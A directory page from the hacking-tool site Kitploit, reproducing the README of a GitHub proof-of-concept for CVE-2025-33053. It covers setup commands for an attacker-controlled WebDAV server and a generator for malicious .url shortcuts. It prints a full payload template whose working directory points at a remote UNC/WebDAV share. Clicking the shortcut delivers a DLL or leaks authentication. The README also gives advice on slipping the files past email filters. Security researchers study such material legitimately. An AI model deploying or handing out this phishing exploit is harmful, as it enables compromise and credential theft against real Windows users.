Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-33053-Proof-Of-Concept — CVE-2025-33053 Proof Of Concept (PoC) | Kitploit
Tools/GitHubGitHub/devbuihieu/cve-2025-33053-proof-of-concept
Payload GenerationExploitationLateral MovementPhishingWeb SecurityPenetration TestingCommand and ControlSocial EngineeringRed Teaming

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
GitHubdevbuihieu/cve-2025-33053-proof-of-concept

CVE-2025-33053-Proof-Of-Concept

CVE-2025-33053 Proof Of Concept (PoC)

View Repository
641641 year agoReviewed by Kitploit
Share

CVE-2025-33053 Proof Of Concept

This repository provides scripts to automatically deploy a WebDAV server on Ubuntu using Apache2, and generate malicious .url shortcut files for use in phishing, red teaming, or lateral movement simulation.

📁 Contents

  • setup_webdav.sh – Bash script to configure Apache2 + WebDAV.
  • setup_webdav.py – Python version of the above.
  • gen_url.py – Python script to generate .url shortcut files with UNC/WebDAV paths.
  • README.md – Documentation.

🔧 Requirements

  • OS: Ubuntu 20.04 or newer (Debian-compatible)
  • Root privileges (sudo)
  • Python 3.x

    • 🚀 Setup Instructions

    1. WebDAV Server (via Bash)

    root@kitploit:~
    sudo bash setup_webdav.sh

    Or using Python:

    root@kitploit:~
    sudo python3 setup_webdav.py

    By default, the script will:

    • Install Apache and required WebDAV modules.
    • Create a shared directory at /var/www/webdav.
    • Enable DAV and DAV_FS modules.
    • Create a DavLockDB directory (to prevent Apache DAV locking errors).
    • Restart the Apache service.

    📎 WebDAV path: http://<your-ip>/webdav/

    💣 Generating a Malicious .url Shortcut

    Example usage:

    root@kitploit:~
    python3 gen_url.py --ip 192.168.1.100 --out doc.url

    All Options:

    root@kitploit:~
    python3 gen_url.py \
  --ip 《YOUR IP ADDRESS》\
  --share 《YOUR SHARE NAME》(Default: webdav) \
  --out 《YOUR OUTPUT FILENAME.url》(Default: bait.url) \
  --exe "C:\Program Files\Internet Explorer\iediagcmd.exe" \
  --icon "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" \
  --index 13 \
  --modified 20F06BA06D07BD014D

    This will create a .url file like:

    root@kitploit:~
    [InternetShortcut]
URL=C:\Program Files\Internet Explorer\iediagcmd.exe
WorkingDirectory=\\192.168.1.100\webdav\
ShowCommand=7
IconIndex=13
IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Modified=20F06BA06D07BD014D

    📌 Clicking this file (in certain configurations) may cause the target system to auto-connect to your WebDAV server (authentication or DLL delivery).

    🔒 Notes for Security Testing

    • Disable Firewall (or open port 80) if testing on a local network:
      root@kitploit:~
      sudo ufw allow 80
    • .url files may not execute as expected depending on:
      • Group Policy restrictions
      • Application defaults
      • Email client (Gmail may sanitize them)
    • You may need to zip or rename .url to .txt to bypass filters.

    ⚠️ Legal Disclaimer

    This repository is for educational and authorized penetration testing only.
    Do not use these scripts against systems you do not own or have permission to test.

    🧠 References

    • WebDAV Server Setup - LinuxConfig.org
    • WebDAV Apache Config - Peter Girnus
    • Microsoft WebDAV Docs

    📬 Contact

    For questions or ethical red teaming requests, reach out via GitHub issues.

    Download Tool